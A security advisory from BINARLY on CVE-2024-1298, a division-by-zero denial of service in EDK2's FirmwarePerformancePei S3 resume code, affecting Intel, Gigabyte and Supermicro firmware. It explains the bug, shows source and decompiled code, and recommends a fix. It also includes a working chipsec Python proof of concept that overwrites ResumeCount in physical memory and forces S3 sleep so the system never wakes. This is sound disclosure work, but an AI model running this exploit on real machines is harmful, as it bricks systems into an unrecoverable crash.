The BINARLY efiXplorer team has identified a PEI-phase Denial of Service (DoS) vulnerability in the EDK2 codebase, which can be exploited by an attacker capable of modifying physical memory.
- BINARLY internal vulnerability identifier: BRLY-2023-021
- Tianocore assigned CVE identifier: CVE-2024-1298
- CVSS v3.1: 6.0 Medium AV:L/AC:L/PR:H/UI:N/S:C/C:N/I:N/A:H
Device Name | Firmware version | CPU vendor | Module name | Module SHA256 | Module GUID |
---|---|---|---|---|---|
Intel NUC M15 | 0082 (Latest) | Intel | FirmwarePerformancePei | e4a15c3b9337132b9c4a33a1a26e1f1b5b7ff493c927a2a5c5235ea0cabf331f | adf01bf6-47d6-495d-b95b-687777807214 |
Gigabyte GB-BER5H-5600 | MRZC5MB (Latest) | AMD | FirmwarePerformancePei | 6d3c1e76f6edb851093837e2c08bc0caf4ab3f0f326c01db2fa51518778b8429 | adf01bf6-47d6-495d-b95b-687777807214 |
Supermicro MBD-R12SPD-A | 1.1b (Latest) | Ampere | FirmwarePerformancePei | 67819dca8cca3a49997c19878a60f8c3cf94fb093e521831c8920804e70d828f | adf01bf6-47d6-495d-b95b-687777807214 |
By modifying the physical memory from runtime, an attacker can trigger a division by 0 due to a UINT32 overflow. This vulnerability is exploitable on both client and server platforms where S3 sleep is activated.
The vulnerability is located on lines 114, 115 in the FpdtStatusCodeListenerPei
function.
AcpiS3ResumeRecord->ResumeCount++;
AcpiS3ResumeRecord->AverageResume = DivU64x32 (S3ResumeTotal + AcpiS3ResumeRecord->FullResume, AcpiS3ResumeRecord->ResumeCount);
An attacker with the ability to modify physical memory can control the value of AcpiS3ResumeRecord->ResumeCount
. If the attacker sets the value of ResumeCount
to 0xFFFFFFFF
, and ResumeCount
is subsequently incremented, its new value will be 0
(due to UINT32
overflow). Since there is no check for overflow, when ResumeCount
is 0
and passed as the second argument to DivU64x32()
, it will trigger a division by 0
, and cause a system crash, leading to a DoS.
In order to fix this vulnerability, it is necessary to verify that the ResumeCount
value != 0
after increment or != MAX_UINT32
before increment.
A decompiled code snippet containing a vulnerability in the latest Intel NUC M15 firmware (FirmwarePerformancePei
module) is shown below:
VarSize = 8;
RestoreLockBox(&FIRMWARE_PERFORMANCE_S3_POINTER_GUID, &S3PerformanceTablePointer, &VarSize);
AcpiS3PerformanceTable = S3PerformanceTablePointer;
if ( S3PerformanceTablePointer->Header.Signature != 'TP3S' )
return EFI_ABORTED;
ResumeCount = S3PerformanceTablePointer->S3Resume.ResumeCount;
LODWORD(AverageResume) = S3PerformanceTablePointer->S3Resume.AverageResume;
AverageResume_high = HIDWORD(S3PerformanceTablePointer->S3Resume.AverageResume);
LODWORD(S3PerformanceTablePointer->S3Resume.FullResume) = v4;
HIDWORD(AcpiS3PerformanceTable->S3Resume.FullResume) = v5;
HIDWORD(AverageResume) = AverageResume_high;
S3ResumeTotal = AverageResume * ResumeCount;
// possible UINT32 overflow (if S3Resume.ResumeCount = MAX_UINT32)
ResumeCount = ++AcpiS3PerformanceTable->S3Resume.ResumeCount;
FullResume = AcpiS3PerformanceTable->S3Resume.FullResume;
S3ResumeTotal_1 = S3ResumeTotal;
Sum = S3ResumeTotal + FullResume;
LODWORD(S3ResumeTotal) = HIDWORD(AcpiS3PerformanceTable->S3Resume.FullResume);
LODWORD(AverageResume) = Sum;
HIDWORD(AverageResume) = (__PAIR64__(S3ResumeTotal, S3ResumeTotal_1) + __PAIR64__(HIDWORD(S3ResumeTotal), FullResume)) >> 32;
// possible division by 0
HIDWORD(S3ResumeTotal) = HIDWORD(AverageResume) / ResumeCount;
LODWORD(AcpiS3PerformanceTable->S3Resume.AverageResume) = __PAIR64__(HIDWORD(AverageResume) % ResumeCount, Sum)
/ ResumeCount;
HIDWORD(AcpiS3PerformanceTable->S3Resume.AverageResume) = HIDWORD(S3ResumeTotal);
The PoC below demonstrates the exploitability of this vulnerability on the Intel NUC M15:
import os
import chipsec
import chipsec.chipset
import hexdump
cs = chipsec.chipset.cs()
cs.init(None, True, True)
# FPDT @ 0x0000000000000000
# 0000: 46 50 44 54 44 00 00 00 01 09 49 4E 54 45 4C 00 FPDTD.....INTEL.
# 0010: 4E 55 43 78 69 37 41 35 47 00 00 00 41 4D 49 20 NUCxi7A5G...AMI
# 0020: 13 00 00 01 00 00 10 01 00 00 00 00 00 40 3C 55 .............@<U
# 0030: 00 00 00 00 01 00 10 01 00 00 00 00 00 00 FA 54 ...............T
# 0040: 00 00 00 00
AcpiS3ResumeRecord = 0x54FA0000 # from FPDT ACPI Table
ResumeCountOffset = 0xC
cs.helper.write_physical_mem(
AcpiS3ResumeRecord + ResumeCountOffset, 4, b"\xff\xff\xff\xff"
)
hexdump.hexdump(cs.helper.read_physical_mem(AcpiS3ResumeRecord, 32))
os.system("echo deep > /sys/power/mem_sleep")
os.system(
"rtcwake -m mem -s 3"
) # the system will never wake up due to a division by 0 at the PEI stage
This bug is subject to a 90 day disclosure deadline. After 90 days elapsed or a patch has been made broadly available (whichever is earlier), the bug report will become visible to the public.
Disclosure Activity | Date |
---|---|
Intel PSIRT is notified | 2022-07-26 |
BINARLY public disclosure date | 2023-08-01 |
Tianocore provide patch release | 2024-05-24 |
BINARLY efiXplorer team